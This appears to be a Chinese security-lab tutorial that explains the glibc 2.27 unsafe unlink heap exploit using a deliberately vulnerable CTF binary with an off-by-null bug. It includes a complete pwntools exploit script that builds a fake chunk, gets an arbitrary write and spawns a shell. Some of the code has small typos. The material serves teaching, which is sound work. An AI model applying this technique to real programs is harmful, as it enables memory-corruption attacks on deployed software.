堆利用之unsafe unlink

1337163122

​ 堆利用之unsafe unlink原创 小甜饼 [url=]合天网安实验室[/url] 昨天
​
原创稿件征集

邮箱：edu@antvsion.com
QQ：3200599554
黑客与极客相关，互联网安全领域里
的热点话题
漏洞、技术相关的调查或分析
稿件通过并发布还能收获
200-800元不等的稿酬

漏洞简介
glibc库中存在着unsafe unlink漏洞。主要原理是利用释放块时存在的安全检查缺陷，通过修改堆块的元数据信息，从而在free时修改堆指针。利用这一漏洞可以完成一次任意写操作。
本文以libc-2.27.so为例，结合一道pwn题目来介绍利用过程。

程序checksec检查
​

1.     Arch:     amd64-64-little
   
2.     RELRO:    Partial RELRO
   
3.     Stack:    Canary found
   
4.     NX:       NX enabled
   
5.     PIE:      No PIE (0x400000)

复制代码

题目源码分析

1. int main()
   
2. {
   
3.     int choice = 0;
   
4.     prepare();
   
5.     while(1) {
   
6.         choose_action(&choice);
   
7.         switch (choice) {
   
8.             case 1:
   
9.                 squeeze();
   
10.                 break;
    
11.             case 2:
    
12.                 wash();
    
13.                 break;
    
14.             case 3:
    
15.                 display();
    
16.                 break;
    
17.             case 4:
    
18.                 mix();
    
19.                 break;
    
20.             case 5:
    
21.                 insepct();
    
22.                 break;
    
23.             default:
    
24.                 puts("Nah... You just cannot do this :( ");
    
25.                 exit(0);
    
26.         }
    
27.             }
    
28.     return 0;
    
29. }

复制代码

主函数是菜单，choose_action只是简单读入整数以进行选择，此处不再赘述。

1. void squeeze()
   
2. {
   
3.     int i;
   
4.     struct palette* tmp;
   
5.     for(i = 0; i < COLOR_NUM; i++) {
   
6.         if (!your_palette[i]) {
   
7.             puts("Found some free space for you!");
   
8.             break;
   
9.         }
   
10.     }
    
11.     if (i == COLOR_NUM) {
    
12.         puts("Your palette is full :(");
    
13.         exit(0);
    
14.     }
    
15.     tmp = malloc(sizeof(struct palette));
    
16.     if (!tmp) {
    
17.         puts("Sorry but something wrong with your palette :(");
    
18.         exit(0);
    
19.     }
    
20.     puts("Now you are squeezing some pigment into the palette...");
    
21.     puts("Please name youe color:");
    
22.     make_component(tmp->color, COLOR_NAME);
    
23.     puts("Please add some ingredients:");
    
24.     make_component(tmp->ingredient, COLOR_COMPONENT);
    
25.     printf("Finished! You've squeezed something into %d slot",i);
    
26.     your_palette[i] = tmp;
    
27. }

复制代码

squeeze函数用于申请新的块，并调用自定义make_component函数读入用户输入。其中your_palette及相关变量定义如下：

1. #define COLOR_NUM (4)
   
2. #define COLOR_NAME (0x20)
   
3. #define COLOR_COMPONENT (0x4d8)
   
4. struct palette {
   
5.     char color[COLOR_NAME];
   
6.     char ingredient[COLOR_COMPONENT];
   
7. }*your_palette[COLOR_NUM];
   
8. long secret_button = 0;

复制代码

make_component函数定义如下。该函数根据传入的长度，逐字节读入用户输入，检测到换行符或是达到最大长度后即把最后一个字符改为’\0’。

1. void make_component(char* ptr, int len)
   
2. {
   
3.     if (0 == len) {
   
4.         return;
   
5.     }
   
6.     char c;
   
7.     int i = 0;
   
8.     while ( i < len ) {
   
9.         read(0, &c, 1);
   
10.         if ( c == '\n' ) {
    
11.             ptr[i] = 0;
    
12.             return;
    
13.         }
    
14.         ptr[i++] = c;
    
15.     }
    
16.     ptr[i] = 0;
    
17. }

复制代码

乍看之下没有什么问题，但是当读入的数据达到最大长度后会将ptr[len]处的数据修改为0，而这一地址属于理想的修改范围之外，因此产生off-by-null的漏洞。

1. void mix()
   
2. {
   
3.     int index;
   
4.     puts("Now input the color index:");
   
5.     scanf("%d", &index);
   
6.     index--;
   
7.     if (0 <= index && index < COLOR_NUM) {
   
8.         if (your_palette[index]) {
   
9.             struct palette* ddl_ptr = your_palette[index];
   
10.             puts("Please name youe color:");
    
11.             make_component(ddl_ptr->color, COLOR_NAME);
    
12.             puts("Please add some ingredients:");
    
13.             make_component(ddl_ptr->ingredient, COLOR_COMPONENT);
    
14.             puts("Finished!");
    
15.             return;
    
16.         } else {
    
17.             puts("Maybe you are willing to mix some color...");
    
18.             puts("But you should squeeze first!");
    
19.             exit(0);
    
20.         }
    
21.     } else {
    
22.         puts("Your palette is not as large as you imagine...");
    
23.         exit(0);
    
24.          }
    
25. }

复制代码

mix函数用于修改已经申请好的chunk，可以重新设置某一个palette的color段以及ingredient段。

1. void wash()
   
2. {
   
3.     int index;
   
4.     puts("Now input the color index:");
   
5.     scanf("%d", &index);
   
6.     index--;
   
7.     if (0 <= index && index < COLOR_NUM) {
   
8.         if (your_palette[index]) {
   
9.             free(your_palette[index]);
   
10.             your_palette[index] = NULL;
    
11.             puts("Finish!");
    
12.             return;
    
13.         } else {
    
14.             puts("Maybe you are willing to wash the palette...");
    
15.             puts("But it is clean!");
    
16.             exit(0);
    
17.         }
    
18.     }  else {
    
19.         puts("Your palette is not as large as you imagine...");
    
20.         exit(0);
    
21.     }
    
22. }

复制代码

wash函数free掉了一个已经申请过的chunk，这也是unsafe unlink漏洞利用之处。这里需要注意的一点是标红处对数组进行赋NULL，因此排除了uaf的情况。

1. void insepct()
   
2. {
   
3.     if (secret_button) {
   
4.         puts("You've successfully broken the palette >_< ");
   
5.         system("/bin/sh");
   
6.     }
   
7.     else {
   
8.         puts("You can explore your palette futher more :) ");
   
9.     }
   
10.     exit(0);
    
11. }

复制代码

inspect函数用于shell获取。当检查到全局变量secret_button不为0后，将调用/bin/sh。那么本题的目标至此已经显而易见了：通过wash函数的free触发漏洞，并通过mix函数修改全局变量secret_button为非零值，然后执行inspect函数来getshell。
相关知识补充
unsafe unlink漏洞是指由于程序设计不当、用户恶意输入，堆管理器在释放块的时候将前一个正在使用的块也视为已经被释放的块，从而也将它纳入空闲块管理中。以64位系统中glibc-2.27为例，一个chunk块的结构如下：

A区域（8字节）：mchunk_prev_size	B区域（8字节）：mchunk_size
C区域（8字节）：fd	D区域（8字节）：bk
E区域（8字节）：fd_nextsize	F区域（8字节）：bk_nextsize

• 其中B区域比较特殊。B区域用于表示该chunk的大小（单位为字节）。由于chunk必须16字节对齐，因此B区域的低3bits被设置为flag位，不影响chunk的大小。其中最低1bit为PREV_INUSE位，当设置为0时表示前一个chunk处于空闲状态。
  
• A区域用于表示前一个相邻的空闲chunk的大小。当PREV_INUSE置1时，这一区域被前一个chunk使用（称之为空间复用）；当PREV_INUSE置0时，该区域才被这一个chunk使用，用于在free时获取前一个chunk的地址。
  
• lB区域也是该chunk的元数据区域，从C区域开始为用户实际使用的数据区。当malloc获得块的时候，返回的指针就是指向C区域的。
  
• 而当该块处于空闲状态时，C、D区域用于构造空闲块的双向链表。C区域会被堆管理器自动设置为前向空闲块的地址，D区域被设置为后向空闲块的地址。对于large chunk而言，C、D区域用于指向大小相同的空闲块，E、F区域用于指向大小不同的空闲块。
  
  

glibc-2.27中对unlink的实现如下：

1. /* Take a chunk off a bin list */
   
2. #define unlink(AV, P, BK, FD) {                                            \
   
3.     if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
   
4.       malloc_printerr ("corrupted size vs. prev_size");            \
   
5.     FD = P->fd;                      \
   
6.     BK = P->bk;                      \
   
7.     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))          \
   
8.       malloc_printerr ("corrupted double-linked list");            \
   
9.     else {                      \
   
10.         FD->bk = BK;                    \
    
11.         BK->fd = FD;                    \
    
12.         if (!in_smallbin_range (chunksize_nomask (P))            \
    
13.             && __builtin_expect (P->fd_nextsize != NULL, 0)) {          \
    
14.       if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
    
15.     || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
    
16.         malloc_printerr ("corrupted double-linked list (not small)");   \
    
17.             if (FD->fd_nextsize == NULL) {              \
    
18.                 if (P->fd_nextsize == P)              \
    
19.                   FD->fd_nextsize = FD->bk_nextsize = FD;          \
    
20.                 else {                    \
    
21.                     FD->fd_nextsize = P->fd_nextsize;            \
    
22.                     FD->bk_nextsize = P->bk_nextsize;            \
    
23.                     P->fd_nextsize->bk_nextsize = FD;            \
    
24.                     P->bk_nextsize->fd_nextsize = FD;            \
    
25.                                       }                    \
    
26.               } else {                    \
    
27.                 P->fd_nextsize->bk_nextsize = P->bk_nextsize;          \
    
28.                 P->bk_nextsize->fd_nextsize = P->fd_nextsize;          \
    
29.               }                      \
    
30.           }                      \
    
31.       }                        \
    
32. }

复制代码

unlink是在释放某一块时调用的“函数”，本意是将空闲块进行合并形成双向链表，提高空间利用率，但是在安全检查方面存在一些漏洞。在利用过程中，需要绕过两处安全检查（标红和标蓝处）。简单来说，unlink的核心是检查当前块是否是合法的空闲块。其中参数P表示当前检查的、准备合并的“空闲”块。

• 标红处用于检查P的大小是否和下一块的prev_size段相等（即检查此块的B区域表示的大小和下一块的A区域的值是否相等）。
  
• 标蓝处用于检查P的前向块的后向块与P的后向块的前向块是否都指向P自己。
  
  

当两处检查均通过时，堆管理器会执行FD->bk = BK与BK->fd = FD，从而将P加入到双向链表中。因此，本题的核心在于如何绕过这两处检查。
漏洞利用
利用思路大致如下：
1、申请3个块（姑且称之为chunkA、chunkB、chunkC）。
2、修改chunkA，在其中精巧地布置出一个chunkD。
3、释放chunkB，并让堆管理器unlink chunkD。
4、修改chunkA，写入任意地址。
5、修改chunkA，实现任意地址写。

1. ADD, FREE, SET, INSPECT = '1', '2', '4', '5'
   
2. def operate(op, arg1='A', arg2='A', arg3='A'):
   
3.     global io
   
4.     io.recvuntil('e:\n')
   
5.     io.sendline(op)
   
6.     if op == '1':
   
7.         # squeeze()
   
8.         io.recvuntil('color:\n')
   
9.         if len(arg1) < 32:
   
10.             io.sendline(arg1)
    
11.         else:
    
12.             io.send(arg1)
    
13.         io.recvuntil('ingredients:\n')
    
14.         if len(arg2) < 1240:
    
15.             io.sendline(arg2)
    
16.         else:
    
17.             io.send(arg2)
    
18.     elif op == '2'
    
19.             # wash()
    
20.         io.recvuntil('color index:\n')
    
21.         io.sendline(str(arg1))
    
22.     elif op == '4':
    
23.         # mix()
    
24.         io.recvuntil('color index:\n')
    
25.         io.sendline(str(arg1))
    
26.         io.recvuntil('color:\n')
    
27.         if len(arg2) < 32:
    
28.             io.sendline(arg2)
    
29.         else:
    
30.             io.send(arg2)
    
31.         io.recvuntil('ingredients:\n')
    
32.         if len(arg3) < 1240:
    
33.             io.sendline(arg3)
    
34.         else:
    
35.             io.send(arg3)
    
36.     elif op == '5':
    
37.         # inspect()
    
38.         pass

复制代码

首先定义一个operate函数，用于处理各类请求信息，将squeeze、wash、mix重命名为经典的ADD、FREE、SET。接下来逐步进行利用：

1、申请3个块（姑且称之为chunkA、chunkB、chunkC）。

1. operate(ADD) #chunkA
   
2. operate(ADD) #chunkB
   
3. operate(ADD) #chunkC

复制代码

​
使用gdb查看内存情况：
​
之所以使用3个chunk，是为了防止free chunkB的时候其与top chunk合并。
然后以chunkA为例，查看它的内容：
​
可见该chunk大小为0x500、前一个chunk处于使用中。（之后的截图为多次运行程序所截，由于开启了ASLR，所以堆的地址会发生改变，但内容是一致的，不影响阅读）

2、修改chunkA，在其中精巧地布置出一个chunkD。
chunkD是在chunkA内由用户的输入构造出的特殊的fake chunk，我们希望unlink把这个块视作一个合法的空闲块。因此首先需要绕过unlink对chunk_size的检查。这里需要注意，用户申请的chunkA指向chunkA的data段，我们可以将这里当做chunkD的元数据区进行填充。由于chunkA->color大小为32字节，那么对应了chunkD的A、B、C、D区域（前文所述）。如何填充这四个区域呢？
首先关注B区域。由于chunkD是chunkA内的一块，且其元数据区的地址在chunkA的数据区，所以它的大小应该是chunkA-16，即0x500-0x10=0x4f0。为了防止chunkA也被unlink掉，这里将前一块标记为使用中，所以B区域填充0x4f1。那么A区域是属于chunkA的，可以填充任意值，此处填0。
C、D区域是chunkD的fd、bk指针，是漏洞利用的关键。这里注意到unlink的第二道检查就是检查这里的fd->bk和bk->fd是否都等于chunkD的元数据区地址。这里的关键是chunkD的元数据区地址恰好等于chunkA的数据区地址，而chunkA的数据区地址正好是malloc chunkA时获得的，其保存在全局变量your_palette[0]中。
由于程序没有开启PIE，所以可以通过objdump直接获取全局变量的地址。
​
这里就利用了unlink中的一个漏洞：它默认fd和bk都指向了合法的chunk地址，所以fd->bk和bk->fd只是简单地将fd、bk视作一个chunk，然后取偏移量24字节和16字节，并将其视为合法的bk和fd。而如果fd、bk是用户可控的，那么只需要将fd设置为your_palette地址-24、将bk设置为your_palette地址-16，那么fd->bk和bk->fd都会指向your_palette[0]，即为chunkA的data段，即为chunkD的元数据地址，从而实现了绕过检查。此时0x1160670为chunkD的元数据地址，chunkD的fd、bk被设置为0x6020c0-24=0x6020a8与0x6020c-16=0x6020b0。
​
接下来需要填充chunkD的ingredient区域。这里需要注意的是要在空间复用区（即chunkB的A区域）填充padding与chunkD的大小。这里需要完全填充ingredient区域，以触发前文提到过的off-by-null漏洞，从而将chunkB的PREV_INUSE位置0，使得chunkD被视作空闲块。
​
可见0x1160b68处的0x501被修改为0x500，且其prev_size段被设置为0x4f0。
​

1. palette_addr = 0x6020c0
   
2. secret_button_addr = 0x6020a0
   
3. payload1 = p64(0) + p64(0x4f1) + p64(palette_addr - 24) + p64(palette_addr - 16)
   
4. payload2 = b'\x00' * 0x4d0 + p64(0x4f0)
   
5. operate(SET, 1, payload1, payload2)

复制代码

1. ​
   
2. 3、释放chunkB，并让堆管理器unlink chunkD。
   
3. 
   
4. 释放掉chunkB后，查看your_palette内容，可见your_palette[0]被设置为0x6020a8，这是因为unlink成功，执行了BK->fd = FD。这里注意到，chunkA仍然是一个使用中的chunk，但它指向了全局数据区。那么此后调用mix时，将向此处写入新的数据。这里需要注意到，写入的第24-32字节会重新覆盖your_palette[0]，也就是说可以再次指向另一个地址，而这个地址就是用户任意写入的了。
   
5. 
   
6. 
   
7. 
   
8. operate(FREE,2)
   
9. 
   
10. 4、修改chunkA，写入任意地址。
    
11. 
    
12. 这里直接写入secret_button的地址，并调用mix函数。
    
13. 
    
14. ​

复制代码

1. payload = b'\x00' * 24 + p64(secret_button_addr)
   
2. operate(SET, 1, payload)

复制代码

​5、修改chunkA，实现任意地址写。
secret_button只需非0即可，这里写入1。
​

       
• 
  

operate(SET, 1, p64(1))
最后简单调用inspect即可getshell。
​
完整exp代码
​

1. from pwn import *
   
2. binary_file = './a.out'
   
3. io = process(binary_file, env={'LD_PRELOAD': './libc-2.27.so'})
   
4. lib = ELF('./libc-2.27.so')
   
5. proc = ELF(binary_file)
   
6. palette_addr = 0x6020c0
   
7. secret_button_addr = 0x6020a0
   
8. button = 1
   
9. ADD, FREE, SET, INSPECT = '1', '2', '4', '5'
   
10. def operate(op, arg1='A', arg2='A', arg3='A'):
    
11.     global io
    
12.     io.recvuntil('e:\n')
    
13.     io.sendline(op)
    
14.     if op == '1':
    
15.         # squeeze()
    
16.         io.recvuntil('color:\n')
    
17.         if len(arg1) < 32:
    
18.             io.sendline(arg1)
    
19.         else:
    
20.             io.send(arg1)
    
21.         io.recvuntil('ingredients:\n')
    
22.         if len(arg2) < 1240:
    
23.             io.sendline(arg2)
    
24.         else:
    
25.             io.send(arg2)
    
26.     elif op == '2':
    
27.         # wash()
    
28.         io.recvuntil('color index:\n')
    
29.         io.sendline(str(arg1))
    
30.     elif op == '4':
    
31.         # mix()
    
32.         io.recvuntil('color index:\n')
    
33.         io.sendline(str(arg1))
    
34.         io.recvuntil('color:\n')
    
35.         if len(arg2) < 32:
    
36.             io.sendline(arg2)
    
37.         else:
    
38.             io.send(arg2)
    
39.         io.recvuntil('ingredients:\n')
    
40.         if len(arg3) < 1240:
    
41.             io.sendline(arg3)
    
42.         else:
    
43.             io.send(arg3)
    
44.     elif op == '5':
    
45.         # inspect()
    
46.         pass
    
47. # prepare 3 chunks
    
48. operate(ADD)
    
49. operate(ADD)
    
50. operate(ADD
    
51. # setup chunkD in chunkA
    
52. payload1 = p64(0) + p64(0x4f1) + p64(palette_addr - 24) + p64(palette_addr - 16)
    
53. payload2 = b'\x00' * 0x4d0 + p64(0x4f0)
    
54. operate(SET, 1, payload1, payload2)
    
55. # free chunkB and unsafely unlink
    
56. operate(FREE, 2)
    
57. # fabricate data
    
58. payload = b'\x00' * 24 + p64(secret_button_addr)
    
59. operate(SET, 1, payload)
    
60. operate(SET, 1, p64(1))
    
61. # arbitrary write
    
62. operate(INSPECT)
    
63. io.interactive()

复制代码

说明
编译源程序：gcc unsafe_unlink.c -no-pie

相关实验：利用溢出改写地址
https://www.hetianlab.com/expc.d ... =weixin-wemedia#stu
本节课主要讲解objdump命令的使用和c语言函数调用约定，学会利用栈溢出漏洞改写函数指针变量和覆盖返回地址。